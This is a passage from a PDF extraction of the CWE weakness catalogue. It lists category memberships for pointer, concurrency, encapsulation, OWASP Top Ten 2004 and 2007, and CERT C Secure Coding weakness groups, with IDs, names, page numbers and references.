HasMember	B	455	Non-exit on Failed Initialization	699	1028
HasMember	B	459	Incomplete Cleanup	699	1038
HasMember	B	460	Improper Cleanup on Thrown Exception	699	1041
HasMember	B	1051	Initialization with Hard-Coded Network Resource Configuration Data	699	1751
HasMember	B	1052	Excessive Use of Hard-Coded Literals in Initialization	699	1752
HasMember	B	1188	Insecure Default Initialization of Resource	699	1828

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Initialization and Cleanup Errors

## Category-465: Pointer Issues

Category ID : 465

## Summary

Weaknesses in this category are related to improper handling of pointers.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	466	Return of Pointer Value Outside of Expected Range	699	1049
HasMember	V	467	Use of sizeof() on a Pointer Type	699	1050
HasMember	B	468	Incorrect Pointer Scaling	699	1053
HasMember	B	469	Use of Pointer Subtraction to Determine Size	699	1055
HasMember	B	476	NULL Pointer Dereference	699	1070
HasMember	B	587	Assignment of a Fixed Address to a Pointer	699	1244
HasMember	V	588	Attempt to Access Child of a Non-structure Pointer	699	1246
HasMember	B	763	Release of Invalid Pointer or Reference	699	1488
HasMember	B	822	Untrusted Pointer Dereference	699	1604
HasMember	B	823	Use of Out-of-range Pointer Offset	699	1606
HasMember	B	824	Access of Uninitialized Pointer	699	1609
HasMember	B	825	Expired Pointer Dereference	699	1612

## Category-485: 7PK - Encapsulation

Category ID : 485

## Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when the product does not sufficiently encapsulate critical data or functionality. According to the authors of the Seven Pernicious Kingdoms, "Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not."

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2317
HasMember	V	486	Comparison of Classes by Name	700	1100
HasMember	B	488	Exposure of Data Element to Wrong Session	700	1104
HasMember	B	489	Active Debug Code	700	1106
HasMember	V	491	Public cloneable() Method Without Final ('Object Hijack')	700	1108
HasMember	V	492	Use of Inner Class Containing Sensitive Data	700	1110
HasMember	V	493	Critical Public Variable Without Final Modifier	700	1117
HasMember	V	495	Private Data Structure Returned From A Public Method	700	1123
HasMember	V	496	Public Data Assigned to Private Array-Typed Field	700	1125
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	700	1127
HasMember	B	501	Trust Boundary Violation	700	1135

## Notes

### Other

The "encapsulation" term is used in multiple ways. Within some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range of security problems.

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## Category-557: Concurrency Issues

Category ID : 557

## Summary

Weaknesses in this category are related to concurrent use of shared resources.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	363	Race Condition Enabling Link Following	699	849
HasMember	B	364	Signal Handler Race Condition	699	851

Nature	Type	ID	Name	V	Page
HasMember	B	366	Race Condition within a Thread	699	856
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	699	858
HasMember	B	368	Context Switching Race Condition	699	863
HasMember	B	386	Symbolic Name not Mapping to Correct Object	699	892
HasMember	B	421	Race Condition During Access to Alternate Channel	699	965
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	699	1213
HasMember	B	585	Empty Synchronized Block	699	1241
HasMember	B	663	Use of a Non-reentrant Function in a Concurrent Context	699	1365
HasMember	B	820	Missing Synchronization	699	1601
HasMember	B	821	Incorrect Synchronization	699	1603
HasMember	B	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	699	1758
HasMember	B	1088	Synchronous Access of Remote Resource without Timeout	699	1788

## Category-569: Expression Issues

Category ID : 569

### Summary

Weaknesses in this category are related to incorrectly written expressions within code.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	480	Use of Incorrect Operator	699	1087
HasMember	B	570	Expression is Always False	699	1216
HasMember	B	571	Expression is Always True	699	1219
HasMember	V	588	Attempt to Access Child of a Non-structure Pointer	699	1246
HasMember	V	595	Comparison of Object References Instead of Object Contents	699	1256
HasMember	B	783	Operator Precedence Logic Error	699	1536

## Category-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)

Category ID : 712

### Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2007.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	629	159

### References

[REF-572]OWASP. "Top 10 2007-Cross Site Scripting". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A1](http://www.owasp.org/index.php/Top_10_2007-A1) >.

## Category-713: OWASP Top Ten 2007 Category A2 - Injection Flaws

Category ID : 713

### Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2007.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
HasMember	G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	629	141
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	629	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	629	207
HasMember	B	91	XML Injection (aka Blind XPath Injection)	629	209
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	629	211

## Category-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution

Category ID : 714

### Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2007.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	629	147
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	629	220
HasMember	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	629	229
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	629	991

## Category-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference

Category ID : 715

### Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2007.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	629	33
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	629	1062
HasMember	B	639	Authorization Bypass Through User-Controlled Key	629	1324

**References**

[REF-528]OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A4](http://www.owasp.org/index.php/Top_10_2007-A4) >.

**Category-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)**

Category ID : 716

**Summary**

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2007.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
HasMember	B	352	Cross-Site Request Forgery (CSRF)	629	821

**References**

[REF-574]OWASP. "Top 10 2007-Cross Site Request Forgery". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A5](http://www.owasp.org/index.php/Top_10_2007-A5) >.

**Category-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling**

Category ID : 717

**Summary**

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2007.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
HasMember	C	200	Exposure of Sensitive Information to an Unauthorized Actor	629	484
HasMember	B	203	Observable Discrepancy	629	497
HasMember	B	209	Generation of Error Message Containing Sensitive Information	629	510
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	629	527

**References**



[REF-575]OWASP. "Top 10 2007-Information Leakage and Improper Error Handling". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A6](http://www.owasp.org/index.php/Top_10_2007-A6) >.

## Category-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management

Category ID : 718

### Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2007.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
HasMember	G	287	Improper Authentication	629	657
HasMember	B	301	Reflection Attack in an Authentication Protocol	629	695
HasMember	G	522	Insufficiently Protected Credentials	629	1157

### References

[REF-237]OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A7](http://www.owasp.org/index.php/Top_10_2007-A7) >.

## Category-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage

Category ID : 719

### Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2007.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
HasMember	G	311	Missing Encryption of Sensitive Data	629	718
HasMember	V	321	Use of Hard-coded Cryptographic Key	629	745
HasMember	B	325	Missing Cryptographic Step	629	754
HasMember	G	326	Inadequate Encryption Strength	629	756

### References

[REF-577]OWASP. "Top 10 2007-Insecure Cryptographic Storage". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A8](http://www.owasp.org/index.php/Top_10_2007-A8) >.

## Category-720: OWASP Top Ten 2007 Category A9 - Insecure Communications

Category ID : 720

### Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2007.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281
HasMember	G	311	Missing Encryption of Sensitive Data	629	718
HasMember	V	321	Use of Hard-coded Cryptographic Key	629	745
HasMember	B	325	Missing Cryptographic Step	629	754
HasMember	G	326	Inadequate Encryption Strength	629	756

**References**

[REF-271]OWASP. "Top 10 2007-Insecure Communications". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A9](http://www.owasp.org/index.php/Top_10_2007-A9) >.

**Category-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access**

Category ID : 721

**Summary**

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2007.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	2310
HasMember	G	285	Improper Authorization	629	649
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	629	664
HasMember	B	425	Direct Request ('Forced Browsing')	629	969

**References**

[REF-580]OWASP. "Top 10 2007-Failure to Restrict URL Access". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A10](http://www.owasp.org/index.php/Top_10_2007-A10) >.

**Category-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input**

Category ID : 722

**Summary**

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2004.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2319
HasMember	G	20	Improper Input Validation	711	19
HasMember	G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	711	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	711	159

Nature	Type	ID	Name	V	Page
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	711	195
HasMember	V	102	Struts: Duplicate Validation Forms	711	239
HasMember	V	103	Struts: Incomplete validate() Method Definition	711	240
HasMember	V	104	Struts: Form Bean Does Not Extend Validation Class	711	243
HasMember	V	106	Struts: Plug-in Framework not in Use	711	248
HasMember	V	109	Struts: Validator Turned Off	711	254
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	711	294
HasMember	B	166	Improper Handling of Missing Special Element	711	406
HasMember	B	167	Improper Handling of Additional Special Element	711	408
HasMember	B	179	Incorrect Behavior Order: Early Validation	711	430
HasMember	V	180	Incorrect Behavior Order: Validate Before Canonicalize	711	433
HasMember	V	181	Incorrect Behavior Order: Validate Before Filter	711	435
HasMember	B	182	Collapse of Data into Unsafe Value	711	437
HasMember	B	183	Permissive List of Allowed Inputs	711	439
HasMember	B	425	Direct Request ('Forced Browsing')	711	969
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	711	1062
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	711	1266
HasMember	C	602	Client-Side Enforcement of Server-Side Security	711	1271

## References

[REF-581]OWASP. "A1 Unvalidated Input". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## Category-723: OWASP Top Ten 2004 Category A2 - Broken Access Control

Category ID : 723

### Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2004.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2319
HasMember	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	711	7
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	711	33
HasMember	B	41	Improper Resolution of Path Equivalence	711	83
HasMember	B	73	External Control of File Name or Path	711	128
HasMember	B	266	Incorrect Privilege Assignment	711	605
HasMember	B	268	Privilege Chaining	711	611
HasMember	C	275	Permission Issues	711	2110
HasMember	B	283	Unverified Ownership	711	643
HasMember	P	284	Improper Access Control	711	644
HasMember	C	285	Improper Authorization	711	649
HasMember	C	330	Use of Insufficiently Random Values	711	772

Nature	Type	ID	Name	V	Page
HasMember	B	425	Direct Request ('Forced Browsing')	711	969
HasMember	V	525	Use of Web Browser Cache Containing Sensitive Information	711	1164
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	711	1192
HasMember	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	711	1198
HasMember	B	639	Authorization Bypass Through User-Controlled Key	711	1324
HasMember	B	708	Incorrect Ownership Assignment	711	1442

## References

[REF-582]OWASP. "A2 Broken Access Control". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## Category-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management

Category ID : 724

### Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2004.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2319
HasMember	C	255	Credentials Management Errors	711	2107
HasMember	V	259	Use of Hard-coded Password	711	591
HasMember	G	287	Improper Authentication	711	657
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	711	682
HasMember	V	298	Improper Validation of Certificate Expiration	711	688
HasMember	B	302	Authentication Bypass by Assumed-Immutable Data	711	697
HasMember	B	304	Missing Critical Step in Authentication	711	700
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	711	709
HasMember	B	309	Use of Password System for Primary Authentication	711	716
HasMember	G	345	Insufficient Verification of Data Authenticity	711	805
HasMember	3	384	Session Fixation	711	887
HasMember	B	521	Weak Password Requirements	711	1154
HasMember	G	522	Insufficiently Protected Credentials	711	1157
HasMember	V	525	Use of Web Browser Cache Containing Sensitive Information	711	1164
HasMember	B	613	Insufficient Session Expiration	711	1291
HasMember	B	620	Unverified Password Change	711	1301
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	711	1326
HasMember	B	798	Use of Hard-coded Credentials	711	1573

## References

[REF-583]OWASP. "A3 Broken Authentication and Session Management". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## Category-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws

Category ID : 725

### Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2004.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2319
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	711	159
HasMember	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	711	1338

### References

[REF-584]OWASP. "A4 Cross-Site Scripting (XSS) Flaws". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## Category-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows

Category ID : 726

### Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2004.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2319
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	711	283
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	711	294
HasMember	B	134	Use of Externally-Controlled Format String	711	349

### References

[REF-585]OWASP. "A5 Buffer Overflows". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## Category-727: OWASP Top Ten 2004 Category A6 - Injection Flaws

Category ID : 727

### Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2004.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2319

Nature	Type	ID	Name	V	Page
HasMember		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	711	133
HasMember		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	711	141
HasMember		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	711	147
HasMember		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	711	195
HasMember		91	XML Injection (aka Blind XPath Injection)	711	209
HasMember		95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	711	220
HasMember		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	711	229
HasMember		117	Improper Output Neutralization for Logs	711	279

### References

[REF-586]OWASP. "A6 Injection Flaws". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## Category-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling

Category ID : 728

### Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2004.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		711	Weaknesses in OWASP Top Ten (2004)	711	2319
HasMember		7	J2EE Misconfiguration: Missing Custom Error Page	711	4
HasMember		203	Observable Discrepancy	711	497
HasMember		209	Generation of Error Message Containing Sensitive Information	711	510
HasMember		228	Improper Handling of Syntactically Invalid Structure	711	540
HasMember		252	Unchecked Return Value	711	575
HasMember		389	Error Conditions, Return Values, Status Codes	711	2115
HasMember		390	Detection of Error Condition Without Action	711	893
HasMember		391	Unchecked Error Condition	711	898
HasMember		394	Unexpected Status Code or Return Value	711	904
HasMember		636	Not Failing Securely ('Failing Open')	711	1318

### References

[REF-587]OWASP. "A7 Improper Error Handling". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## Category-729: OWASP Top Ten 2004 Category A8 - Insecure Storage

Category ID : 729



## Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2004.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2319
HasMember	V	14	Compiler Removal of Code to Clear Buffers	711	14
HasMember	B	226	Sensitive Information in Resource Not Removed Before Reuse	711	536
HasMember	B	261	Weak Encoding for Password	711	598
HasMember	G	311	Missing Encryption of Sensitive Data	711	718
HasMember	V	321	Use of Hard-coded Cryptographic Key	711	745
HasMember	G	326	Inadequate Encryption Strength	711	756
HasMember	G	327	Use of a Broken or Risky Cryptographic Algorithm	711	758
HasMember	V	539	Use of Persistent Cookies Containing Sensitive Information	711	1179
HasMember	V	591	Sensitive Data Storage in Improperly Locked Memory	711	1251
HasMember	V	598	Use of GET Request Method With Sensitive Query Strings	711	1262

## References

[REF-588]OWASP. "A8 Insecure Storage". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## Category-730: OWASP Top Ten 2004 Category A9 - Denial of Service

Category ID : 730

## Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2004.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2319
HasMember	B	170	Improper Null Termination	711	411
HasMember	B	248	Uncaught Exception	711	566
HasMember	B	369	Divide By Zero	711	865
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	711	883
HasMember	G	400	Uncontrolled Resource Consumption	711	912
HasMember	V	401	Missing Release of Memory after Effective Lifetime	711	921
HasMember	G	404	Improper Resource Shutdown or Release	711	927
HasMember	G	405	Asymmetric Resource Consumption (Amplification)	711	933
HasMember	B	410	Insufficient Resource Pool	711	945
HasMember	B	412	Unrestricted Externally Accessible Lock	711	947
HasMember	B	476	NULL Pointer Dereference	711	1070
HasMember	G	674	Uncontrolled Recursion	711	1391

## References

[REF-590]OWASP. "A9 Denial of Service". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.



## Category-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management

Category ID : 731

### Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2004.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	2319
HasMember	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	711	1
HasMember	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	711	2
HasMember	V	7	J2EE Misconfiguration: Missing Custom Error Page	711	4
HasMember	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	711	6
HasMember	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	711	7
HasMember	V	11	ASP.NET Misconfiguration: Creating Debug Binary	711	9
HasMember	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	711	11
HasMember	V	13	ASP.NET Misconfiguration: Password in Configuration File	711	12
HasMember	B	209	Generation of Error Message Containing Sensitive Information	711	510
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	711	527
HasMember	V	219	Storage of File with Sensitive Data Under Web Root	711	529
HasMember	C	275	Permission Issues	711	2110
HasMember	B	295	Improper Certificate Validation	711	677
HasMember	B	459	Incomplete Cleanup	711	1038
HasMember	B	489	Active Debug Code	711	1106
HasMember	V	520	.NET Misconfiguration: Use of Impersonation	711	1154
HasMember	V	526	Cleartext Storage of Sensitive Information in an Environment Variable	711	1165
HasMember	V	527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	711	1167
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	711	1168
HasMember	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	711	1168
HasMember	V	530	Exposure of Backup File to an Unauthorized Control Sphere	711	1169
HasMember	V	531	Inclusion of Sensitive Information in Test Code	711	1170
HasMember	B	532	Insertion of Sensitive Information into Log File	711	1171
HasMember	B	540	Inclusion of Sensitive Information in Source Code	711	1180
HasMember	V	541	Inclusion of Sensitive Information in an Include File	711	1181
HasMember	V	548	Exposure of Information Through Directory Listing	711	1189
HasMember	B	552	Files or Directories Accessible to External Parties	711	1193
HasMember	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	711	1196
HasMember	V	555	J2EE Misconfiguration: Plaintext Password in Configuration File	711	1197

Nature	Type	ID	Name	V	Page
HasMember	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	711	1198

## References

[REF-591]OWASP. "A10 Insecure Configuration Management". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## Category-735: CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)

Category ID : 735

### Summary

Weaknesses in this category are related to the rules and recommendations in the Preprocessor (PRE) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	G	684	Incorrect Provision of Specified Functionality	734	1410

### Notes

#### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-684 PRE09-C Do not replace secure functions with less secure functions

### References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-736: CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)

Category ID : 736

### Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	734	1187
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1316
HasMember	V	686	Function Call With Incorrect Argument Type	734	1412

### Notes

## Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-547 DCL06-C Use meaningful symbolic constants to represent literal values in program logic CWE-628 DCL10-C Maintain the contract between the writer and caller of variadic functions CWE-686 DCL35-C Do not invoke a function using a type that does not match the function definition

## References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-737: CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)

Category ID : 737

## Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	734	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	V	467	Use of sizeof() on a Pointer Type	734	1050
HasMember	B	468	Incorrect Pointer Scaling	734	1053
HasMember	B	476	NULL Pointer Dereference	734	1070
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1316
HasMember	G	704	Incorrect Type Conversion or Cast	734	1435
HasMember	B	783	Operator Precedence Logic Error	734	1536

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-467 EXP01-C Do not take the size of a pointer to determine the size of the pointed-to type CWE-468 EXP08-C Ensure pointer arithmetic is used correctly CWE-476 EXP34-C Ensure a null pointer is not dereferenced CWE-628 EXP37-C Call functions with the arguments intended by the API CWE-704 EXP05-C Do not cast away a const qualification CWE-783 EXP00-C Use parentheses for precedence of operation

## References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

## Category-738: CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)

Category ID : 738

## Summary

Weaknesses in this category are related to the rules and recommendations in the Integers (INT) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2320
HasMember	G	20	Improper Input Validation	734	19
HasMember	V	129	Improper Validation of Array Index	734	327
HasMember	B	190	Integer Overflow or Wraparound	734	453
HasMember	V	192	Integer Coercion Error	734	463
HasMember	B	197	Numeric Truncation Error	734	479
HasMember	B	369	Divide By Zero	734	865
HasMember	B	466	Return of Pointer Value Outside of Expected Range	734	1049
HasMember	B	587	Assignment of a Fixed Address to a Pointer	734	1244
HasMember	B	606	Unchecked Input for Loop Condition	734	1278
HasMember	B	676	Use of Potentially Dangerous Function	734	1394
HasMember	B	681	Incorrect Conversion between Numeric Types	734	1400
HasMember	PI	682	Incorrect Calculation	734	1403

### Notes

#### Relationship

